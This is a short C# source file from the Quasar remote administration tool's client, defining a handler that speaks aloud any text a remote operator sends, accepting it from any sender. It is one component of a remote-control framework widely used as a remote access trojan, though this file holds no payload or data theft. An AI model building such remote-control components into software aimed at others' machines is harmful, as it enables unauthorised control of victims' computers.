21 lines
627 B
C#
21 lines
627 B
C#
using Quasar.Common.Messages;
|
|
using Quasar.Common.Networking;
|
|
using System.Speech.Synthesis;
|
|
|
|
namespace Quasar.Client.Messages
|
|
{
|
|
public class TextToSpeechHandler : IMessageProcessor
|
|
{
|
|
private readonly SpeechSynthesizer _synth = new SpeechSynthesizer();
|
|
|
|
public bool CanExecute(IMessage message) => message is DoTextToSpeech;
|
|
public bool CanExecuteFrom(ISender sender) => true;
|
|
|
|
public void Execute(ISender sender, IMessage message)
|
|
{
|
|
if (message is DoTextToSpeech tts && !string.IsNullOrEmpty(tts.Text))
|
|
_synth.SpeakAsync(tts.Text);
|
|
}
|
|
}
|
|
}
|